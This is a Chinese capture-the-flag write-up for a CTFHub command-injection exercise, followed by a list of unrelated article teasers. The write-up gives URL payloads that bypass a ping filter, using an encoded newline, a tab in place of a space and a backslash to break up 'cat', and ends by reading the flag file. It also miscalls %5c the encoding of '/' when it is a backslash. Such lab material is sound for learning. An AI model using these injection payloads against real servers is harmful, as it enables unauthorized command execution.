CTFHub-RCE 命令注入-综合练习

article/2025/6/18 20:05:07

  • 观察源代码

    • 代码里面可以发现过滤了运算符、目录分隔符、分号、空格还有一些关键字也被过滤了

  • 判断是Windows还是Linux

    • 源代码中有 
      ping -c 4
      说明是Linux

  • 查看有哪些文件

    • 用换行符的url值（%0a）代替分号
    • 注意：在url中输入
    • ?ip=127.0.0.1%0a#

  • 打开flag文件

    • 打开flag_is_here的文件夹，查看里面有哪些文件
    • 由于flag被过滤，就需要用到tab的url值（%09）补全
    • ?ip=127.0.0.1%0als%09*_is_here

    • cat这个php文件
    • 由于cat被过滤，且 / 也被过滤了，所以用 / 的url值代替（%5c）
    • ?ip=127.0.0.1%0acd%09*_is_here%0aca%5ct%09*_101694095171.php#
    • 打开网页源代码查看（Ctrl+U）
    • 成功获取flag

http://www.hkcw.cn/article/WcUsBVcJtP.shtml

相关文章

网络编程1_网络编程引入

网络编程1_网络编程引入

为什么需要网络编程？ 用户再在浏览器中，打开在线视频资源等等，实质上说通过网络，获取到从网络上传输过来的一个资源。 与打开本地的文件类似，只是这个文件的来源是网络。相比本地资源来说，网络提供了更为…
阅读更多...
性能优化 - 理论篇：性能优化的七类技术手段

性能优化 - 理论篇：性能优化的七类技术手段

文章目录 Pre引言性能优化的七类技术手段性能优化策略一览表1. 复用优化2. 计算优化2.1 并行执行2.2 变同步为异步2.3 惰性加载 3. 结果集优化3.1 数据格式与协议选择3.2 字段精简与按需返回3.3 批量处理与分页3.4 索引与位图加速 4. 资源冲突优化4.1 锁的分类与特点4.2 无锁与…
阅读更多...
Android之ListView

Android之ListView

1：简单列表(ArrayAdapter) 1：运行的结果： 2：首先在MyListView里面创建一个按钮，点击的时候进行跳转。 这里让我吃惊的是，Button里面可以直接设置onClick .java里面的方法。 也即是点击这个按钮之后就会去…
阅读更多...
Unity程序集

Unity程序集

对于Unity的程序集，具体内容可以参考Unity官方文档，程序集定义 - 预定义程序集 比如Unity的默认程序集，Assembly-CSharp.dll，还有其他的比如 Assembly-CSharp-Editor.dll，Assembly-CSharp-firstpass.dll 没有指定或…
阅读更多...
【算法】递归与分治策略

【算法】递归与分治策略

一、算法整体思想 一般情况下，问题的规模越大，解题所需的计算时间越长，并且解题的难度可能会变得很大。 问题的规模越小，解题所需的计算时间往往越短，也比较容易处理。 当直接解决一个较大的问题时，有时是…
阅读更多...
NVIDIA Mellanox BlueField-2 DPU（Data Processing Unit）智能网卡的调试和使用

NVIDIA Mellanox BlueField-2 DPU（Data Processing Unit）智能网卡的调试和使用

专有名词 OOB： BMC： BFB： EMMC： 关键词解释eMMCEmbedded Multi-Media Card——把 NAND 闪存颗粒与控制器封装在一起的板载存储件，类似手机里的“内置储存” .deb：文件是​​Debian软件包格式​​的专…
阅读更多...
(LeetCode 每日一题) 909. 蛇梯棋 (广度优先搜索bfs)

(LeetCode 每日一题) 909. 蛇梯棋 (广度优先搜索bfs)

题目&#xff1a;909. 蛇梯棋 思路&#xff1a;广度优先搜索bfs队列&#xff0c;时间复杂度0(6*n^2)。 细节看注释 C版本&#xff1a; class Solution { public:int snakesAndLadders(vector<vector<int>>& board) {int nboard.size();// vis[i]&#xff1a;…
阅读更多...
医疗多模态共情推理与学习一体化网络构成初探

医疗多模态共情推理与学习一体化网络构成初探

1 引言：多模态共情推理的概念内涵与技术背景 在当今医疗人工智能领域，多模态共情推理正逐步成为突破临床决策支持系统瓶颈的关键范式。这一技术通过融合认知共情与情感共情的双重机制，模拟人类医生的综合诊断思维过程，实现对患者全方位健康状态的深度理解。医疗环境中的共…
阅读更多...
RFID技术深度剖析：从原理、协议到S50卡与FM17550读写

RFID技术深度剖析：从原理、协议到S50卡与FM17550读写

知识点1【RFID的概述】 学习目标是学习对这个卡片的读写 用已有的手册实现对卡片内数据的读写操作 RFID&#xff1a;&#xff08;Radio Frequency Identification&#xff09;无线射频识别 通过无线识别目标&#xff0c;并读写相关数据&#xff0c;而无需接触 位于感知层&…
阅读更多...
4-香豆酸：CoA连接酶晶体-文献精读138

4-香豆酸：CoA连接酶晶体-文献精读138

Crystal structures of a Populus tomentosa 4-coumarate:CoA ligase shed light on its enzymatic mechanisms 杨树&#xff08;Populus tomentosa&#xff09;4-香豆酸&#xff1a;CoA连接酶的晶体结构揭示了其酶促机制 摘要 4-香豆酸&#xff1a;CoA连接酶&#xff08;4CL…
阅读更多...
VTK|实现类似CloundCompare的测量功能

VTK|实现类似CloundCompare的测量功能

文章目录 CloundCompare在点、线、面三种模式下的显示内容✅ 图1&#xff1a;点模式✅ 图2&#xff1a;线模式✅ 图3&#xff1a;面模式 增加控制菜单栏实现测量功能类如何调用项目git链接 CloundCompare在点、线、面三种模式下的显示内容 点 线 面 三张图展示了 CloudComp…
阅读更多...
Android15 userdebug版本不能remount

Android15 userdebug版本不能remount

背景描述&#xff1a; 最近调试Android Vendor Hal的时候发现一个奇怪的现象: android userdebug版本刷到设备中&#xff0c;执行adb root没提示错误&#xff0c;但是没有获取到root权限。 Android设备运行的系统版本有三种情况&#xff1a;user版本、userdebug版本和eng版本…
阅读更多...
伊朗外长：将适当回应美方核谈判提案

伊朗外长：将适当回应美方核谈判提案

△伊朗外交部长阿拉格齐（资料图）当地时间5月31日，伊朗外交部长阿拉格齐在社交平台表示，当天阿曼外交大臣巴德尔访问伊朗并向其介绍了美方有关核谈判的提案。阿拉格齐表示，伊朗将根据原则、国家利益和伊朗人民的权利对此作出适当的回应。白宫新闻秘书莱维特当地时间31日表示…
阅读更多...
27 C 语言编程核心：main 主函数（基本形式、返回值、参数、命令行传参）、多文件编程实践

27 C 语言编程核心：main 主函数（基本形式、返回值、参数、命令行传参）、多文件编程实践

1 main 主函数 1.1 主函数的作用 在 C 语言中&#xff0c;main 主函数是程序的入口函数&#xff0c;所有 C 程序必须包含一个名为 main 的函数。程序总是从该函数开始执行&#xff0c;没有它程序就无法启动。 主函数可以调用其他函数。其他函数不能调用主函数。主函数不能调用…
阅读更多...
GIS常见数据及主要应用综述：类型解析、应用案例与未来趋势全景解读

GIS常见数据及主要应用综述：类型解析、应用案例与未来趋势全景解读

&#x1f30f; GIS常见数据及主要应用综述&#xff1a;类型解析、应用案例与未来趋势全景解读 地理信息系统&#xff08;GIS&#xff09;是支撑空间决策、资源管理、城市治理的重要技术体系。本文从常见数据类型入手&#xff0c;结合中国及国际资源&#xff0c;梳理典型GIS应用…
阅读更多...
系统性学习C语言-第十二讲-深入理解指针（2）

系统性学习C语言-第十二讲-深入理解指针（2）

系统性学习C语言-第十二讲-深入理解指针&#xff08;2&#xff09; 1. const 修饰指针1.1 const 修饰变量1.2 const 修饰指针变量 2. 野指针2.1 野指针成因2.2 如何规避野指针2.2.1 指针初始化2.2.2 小心指针越界2.2.3 指针变量不再使用时&#xff0c;及时置 NULL &…
阅读更多...
Linux安装redis

Linux安装redis

Linux redis路径 https://download.redis.io/releases/解压安装Redis 解压 tar -zvxf redis-6.0.5.tar.gz 由于redis是c语言编写的&#xff0c;所以我们需要先安装gcc&#xff0c;安装的命令如下&#xff1a; yum install gcc-c安装 输入命令&#xff1a; make PREFIX/usr/…
阅读更多...
NumPy 数组计算：广播机制

NumPy 数组计算：广播机制

文章目录 NumPy 数组计算&#xff1a;广播机制一、广播机制简介二、广播机制的规则1. 广播机制示例 12. 广播机制示例 23. 广播机制示例 3 三、广播机制实战1. 数组的中心化2. 绘制二维函数 NumPy 数组计算&#xff1a;广播机制 我们在NumPy数组的计算&#xff1a;通用函数中看…
阅读更多...
Codesys FOR 循环之轴控

Codesys FOR 循环之轴控

关于多伺服的轴控，不管怎么写都会很复杂，要么编程的时候代码行数多，要么是后期检查时非常麻烦，目前还未找到一个两全其美的方法，今天介绍的是通过FOR循环的轴控，就属于后者，代码行数较少，控制的轴数也没有限制，不需要一个轴一个的复制FB块，但是想在调试的时候实时查看…
阅读更多...
欧冠决赛杜埃梅开二度 新星闪耀赛场

欧冠决赛杜埃梅开二度 新星闪耀赛场

北京时间6月1日，本赛季的欧冠决赛中，19岁的杜埃表现出色，梅开二度并送出一次助攻，帮助巴黎圣日耳曼在比赛进行到73分钟时以4-0领先国际米兰。据统计，杜埃成为自1964年国际米兰名宿桑德罗-马佐拉以来，首位在欧冠决赛中完成梅开二度并且送出助攻的球员。本赛季，杜埃代表巴…
阅读更多...
推荐文章

Copyright @ 2022~2023